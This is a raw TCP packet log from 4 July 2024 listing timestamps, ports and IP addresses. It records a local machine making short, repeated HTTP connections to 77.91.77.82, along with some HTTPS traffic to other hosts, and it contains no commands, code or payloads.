Jul 4, 2024 22:21:30.203695059 CEST	443	49782	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:30.204240084 CEST	443	49782	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:30.205666065 CEST	49782	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:30.207222939 CEST	49782	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:30.207236052 CEST	443	49782	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:30.896609068 CEST	80	49783	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:30.896692038 CEST	49783	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:30.897444010 CEST	49783	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:30.902204990 CEST	80	49783	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:31.226917028 CEST	80	49783	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:31.227092028 CEST	49783	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:31.329684973 CEST	49783	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:31.330105066 CEST	49784	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:31.335027933 CEST	80	49784	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:31.335093975 CEST	49784	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:31.335231066 CEST	49784	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:31.335319996 CEST	80	49783	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:31.335366964 CEST	49783	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:31.341648102 CEST	80	49784	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:32.046108007 CEST	80	49784	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:32.046399117 CEST	49784	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:32.049139023 CEST	49784	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:32.053868055 CEST	80	49784	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:32.272125959 CEST	80	49784	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:32.272305965 CEST	49784	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:32.388787031 CEST	49784	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:32.389091969 CEST	49785	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:32.393862009 CEST	80	49784	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:32.393919945 CEST	49784	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:32.394049883 CEST	80	49785	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:32.394123077 CEST	49785	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:32.395045042 CEST	49785	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:32.399861097 CEST	80	49785	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:33.087599993 CEST	80	49785	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:33.087655067 CEST	49785	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:33.088298082 CEST	49785	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:33.093076944 CEST	80	49785	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:33.304584026 CEST	80	49785	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:33.304764032 CEST	49785	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:33.405745983 CEST	49785	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:33.406021118 CEST	49786	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:33.411277056 CEST	80	49785	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:33.411339045 CEST	49785	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:33.411748886 CEST	80	49786	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:33.411922932 CEST	49786	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:33.412142992 CEST	49786	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:33.417113066 CEST	80	49786	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:34.117523909 CEST	80	49786	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:34.117674112 CEST	49786	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:34.118355036 CEST	49786	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:34.123183012 CEST	80	49786	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:34.338490009 CEST	80	49786	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:34.338551998 CEST	49786	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:34.452869892 CEST	49786	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:34.453205109 CEST	49787	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:34.457959890 CEST	80	49786	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:34.458034039 CEST	49786	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:34.458084106 CEST	80	49787	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:34.458142042 CEST	49787	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:34.458262920 CEST	49787	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:34.463047981 CEST	80	49787	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:35.158296108 CEST	80	49787	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:35.158375025 CEST	49787	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:35.159008026 CEST	49787	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:35.164036989 CEST	80	49787	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:35.377960920 CEST	80	49787	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:35.378015995 CEST	49787	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:35.484366894 CEST	49787	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:35.484611034 CEST	49788	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:35.493326902 CEST	80	49788	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:35.493381023 CEST	49788	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:35.493546963 CEST	49788	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:35.498105049 CEST	80	49787	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:35.498163939 CEST	49787	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:35.500705957 CEST	80	49788	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:36.208797932 CEST	80	49788	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:36.210206985 CEST	49788	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:36.213229895 CEST	49788	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:36.218174934 CEST	80	49788	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:36.439805031 CEST	80	49788	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:36.442292929 CEST	49788	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:36.547322989 CEST	49788	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:36.547619104 CEST	49789	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:36.552509069 CEST	80	49788	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:36.552752972 CEST	80	49789	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:36.554210901 CEST	49789	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:36.554230928 CEST	49788	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:36.556986094 CEST	49789	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:36.561877012 CEST	80	49789	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:37.259809971 CEST	80	49789	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:37.259893894 CEST	49789	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:37.260773897 CEST	49789	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:37.265763998 CEST	80	49789	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:37.480086088 CEST	80	49789	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:37.480192900 CEST	49789	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:37.594018936 CEST	49789	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:37.594310045 CEST	49790	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:37.599211931 CEST	80	49790	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:37.599313974 CEST	49790	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:37.599487066 CEST	80	49789	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:37.599504948 CEST	49790	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:37.599536896 CEST	49789	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:37.604722977 CEST	80	49790	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:38.292733908 CEST	80	49790	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:38.292823076 CEST	49790	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:38.293441057 CEST	49790	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:38.299602032 CEST	80	49790	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:38.510891914 CEST	80	49790	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:38.510957003 CEST	49790	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:38.612579107 CEST	49790	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:38.612890959 CEST	49791	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:38.618009090 CEST	80	49790	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:38.618042946 CEST	80	49791	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:38.618092060 CEST	49790	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:38.618148088 CEST	49791	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:38.620758057 CEST	49791	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:38.625724077 CEST	80	49791	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:39.095992088 CEST	80	49720	85.28.47.30	192.168.2.5
Jul 4, 2024 22:21:39.096076965 CEST	49720	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:21:39.326437950 CEST	80	49791	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:39.326611042 CEST	49791	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:39.327343941 CEST	49791	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:39.332151890 CEST	80	49791	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:39.551491976 CEST	80	49791	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:39.551551104 CEST	49791	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:39.658365011 CEST	49791	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:39.658660889 CEST	49792	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:39.663444042 CEST	80	49792	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:39.663518906 CEST	49792	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:39.663615942 CEST	80	49791	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:39.663618088 CEST	49792	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:39.663666964 CEST	49791	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:39.668397903 CEST	80	49792	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:40.355948925 CEST	80	49792	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:40.356044054 CEST	49792	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:40.372523069 CEST	49792	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:40.377259970 CEST	80	49792	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:40.588958025 CEST	80	49792	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:40.589137077 CEST	49792	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:40.704931974 CEST	49792	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:40.705354929 CEST	49793	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:40.711517096 CEST	80	49792	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:40.711529970 CEST	80	49793	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:40.711585045 CEST	49792	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:40.711621046 CEST	49793	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:40.711821079 CEST	49793	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:40.717101097 CEST	80	49793	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:41.326108932 CEST	49720	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:21:41.476172924 CEST	80	49793	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:41.478259087 CEST	49793	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:41.479032993 CEST	49793	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:41.483822107 CEST	80	49793	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:41.701369047 CEST	80	49793	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:41.701440096 CEST	49793	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:41.813642025 CEST	49793	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:41.813988924 CEST	49794	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:41.818926096 CEST	80	49793	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:41.818938017 CEST	80	49794	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:41.818991899 CEST	49793	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:41.819025040 CEST	49794	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:41.819190979 CEST	49794	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:41.823976040 CEST	80	49794	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:42.530771971 CEST	80	49794	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:42.530960083 CEST	49794	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:42.531544924 CEST	49794	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:42.536415100 CEST	80	49794	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:42.979068041 CEST	80	49794	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:42.979142904 CEST	49794	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:42.980285883 CEST	80	49794	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:42.980343103 CEST	49794	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:43.094754934 CEST	49794	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:43.095067978 CEST	49795	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:43.099900961 CEST	80	49794	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:43.099914074 CEST	80	49795	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:43.099966049 CEST	49794	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:43.100003958 CEST	49795	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:43.100121975 CEST	49795	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:43.104851961 CEST	80	49795	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:43.802017927 CEST	80	49795	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:43.802186012 CEST	49795	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:43.802759886 CEST	49795	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:43.807645082 CEST	80	49795	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:44.023422003 CEST	80	49795	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:44.023488998 CEST	49795	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:44.139050007 CEST	49795	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:44.139517069 CEST	49796	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:44.144197941 CEST	80	49795	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:44.144278049 CEST	49795	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:44.144340038 CEST	80	49796	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:44.144411087 CEST	49796	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:44.144648075 CEST	49796	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:44.149396896 CEST	80	49796	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:44.840182066 CEST	80	49796	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:44.840266943 CEST	49796	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:44.840953112 CEST	49796	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:44.845882893 CEST	80	49796	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:45.058954000 CEST	80	49796	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:45.059129000 CEST	49796	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:45.171665907 CEST	49796	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:45.172009945 CEST	49797	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:45.176899910 CEST	80	49797	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:45.177104950 CEST	49797	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:45.177275896 CEST	49797	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:45.179141045 CEST	80	49796	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:45.179225922 CEST	49796	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:45.182120085 CEST	80	49797	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:45.965318918 CEST	80	49797	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:45.965382099 CEST	49797	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:45.966053009 CEST	49797	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:45.971585989 CEST	80	49797	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:46.186676979 CEST	80	49797	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:46.190166950 CEST	49797	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:46.298118114 CEST	49797	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:46.298338890 CEST	49798	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:46.303136110 CEST	80	49798	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:46.303476095 CEST	80	49797	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:46.303577900 CEST	49797	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:46.303590059 CEST	49798	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:46.303713083 CEST	49798	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:46.308806896 CEST	80	49798	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:46.538695097 CEST	49743	443	192.168.2.5	23.1.237.91
Jul 4, 2024 22:21:46.538717985 CEST	443	49743	23.1.237.91	192.168.2.5
Jul 4, 2024 22:21:47.031145096 CEST	80	49798	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:47.032408953 CEST	49798	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:47.034554005 CEST	49798	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:47.039616108 CEST	80	49798	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:47.266379118 CEST	80	49798	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:47.268007994 CEST	49798	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:47.377046108 CEST	49798	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:47.377351046 CEST	49799	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:47.382236958 CEST	80	49799	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:47.382932901 CEST	80	49798	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:47.383033037 CEST	49798	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:47.383044004 CEST	49799	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:47.383151054 CEST	49799	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:47.387917995 CEST	80	49799	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:48.101057053 CEST	80	49799	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:48.101118088 CEST	49799	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:48.101804018 CEST	49799	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:48.106590033 CEST	80	49799	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:48.325221062 CEST	80	49799	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:48.325287104 CEST	49799	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:48.441596985 CEST	49799	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:48.441905975 CEST	49800	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:48.446623087 CEST	80	49799	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:48.446712017 CEST	49799	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:48.446819067 CEST	80	49800	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:48.446882010 CEST	49800	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:48.447015047 CEST	49800	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:48.451706886 CEST	80	49800	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:49.379591942 CEST	80	49800	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:49.379673004 CEST	49800	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:49.380373001 CEST	49800	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:49.381463051 CEST	80	49800	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:49.381509066 CEST	49800	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:49.385910034 CEST	80	49800	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:49.609179020 CEST	80	49800	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:49.609342098 CEST	49800	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:49.723345041 CEST	49800	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:49.723783016 CEST	49801	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:49.729116917 CEST	80	49801	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:49.729434967 CEST	49801	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:49.729629993 CEST	80	49800	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:49.729660034 CEST	49801	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:49.729685068 CEST	49800	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:49.734503984 CEST	80	49801	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:50.433832884 CEST	80	49801	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:50.434005976 CEST	49801	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:50.434513092 CEST	49801	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:50.440169096 CEST	80	49801	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:50.651262045 CEST	80	49801	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:50.651369095 CEST	49801	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:50.766217947 CEST	49801	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:50.766513109 CEST	49802	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:50.771478891 CEST	80	49802	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:50.771545887 CEST	49802	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:50.771650076 CEST	49802	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:50.771734953 CEST	80	49801	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:50.771783113 CEST	49801	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:50.776997089 CEST	80	49802	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:51.476047039 CEST	80	49802	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:51.476106882 CEST	49802	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:51.476757050 CEST	49802	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:51.481611013 CEST	80	49802	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:51.698298931 CEST	80	49802	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:51.698362112 CEST	49802	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:51.813354969 CEST	49802	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:51.813642979 CEST	49803	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:51.818579912 CEST	80	49803	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:51.818649054 CEST	49803	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:51.818778038 CEST	49803	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:51.822117090 CEST	80	49802	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:51.822177887 CEST	49802	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:51.823580980 CEST	80	49803	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:52.392870903 CEST	49804	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:52.392925978 CEST	443	49804	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:52.393030882 CEST	49804	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:52.393337011 CEST	49804	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:52.393354893 CEST	443	49804	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:52.550962925 CEST	80	49803	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:52.551155090 CEST	49803	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:52.551708937 CEST	49803	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:52.557427883 CEST	80	49803	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:52.774871111 CEST	80	49803	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:52.775037050 CEST	49803	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:52.892329931 CEST	49803	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:52.892643929 CEST	49805	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:52.897370100 CEST	80	49803	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:52.897439003 CEST	49803	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:52.897481918 CEST	80	49805	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:52.897551060 CEST	49805	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:52.897727966 CEST	49805	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:52.904764891 CEST	80	49805	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:53.192027092 CEST	443	49804	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:53.192274094 CEST	49804	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:53.192286968 CEST	443	49804	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:53.192648888 CEST	443	49804	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:53.193110943 CEST	49804	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:53.193176031 CEST	443	49804	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:53.193180084 CEST	49804	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:53.193202019 CEST	49804	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:53.193214893 CEST	443	49804	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:53.235980034 CEST	49804	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:53.386907101 CEST	443	49804	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:53.387236118 CEST	443	49804	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:53.387398005 CEST	49804	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:53.388125896 CEST	49804	443	192.168.2.5	216.58.206.46
Jul 4, 2024 22:21:53.388144970 CEST	443	49804	216.58.206.46	192.168.2.5
Jul 4, 2024 22:21:53.626147032 CEST	80	49805	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:53.626240969 CEST	49805	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:53.626871109 CEST	49805	80	192.168.2.5	77.91.77.82
Jul 4, 2024 22:21:53.631777048 CEST	80	49805	77.91.77.82	192.168.2.5
Jul 4, 2024 22:21:53.768774033 CEST	49806	443	192.168.2.5	216.58.206.46
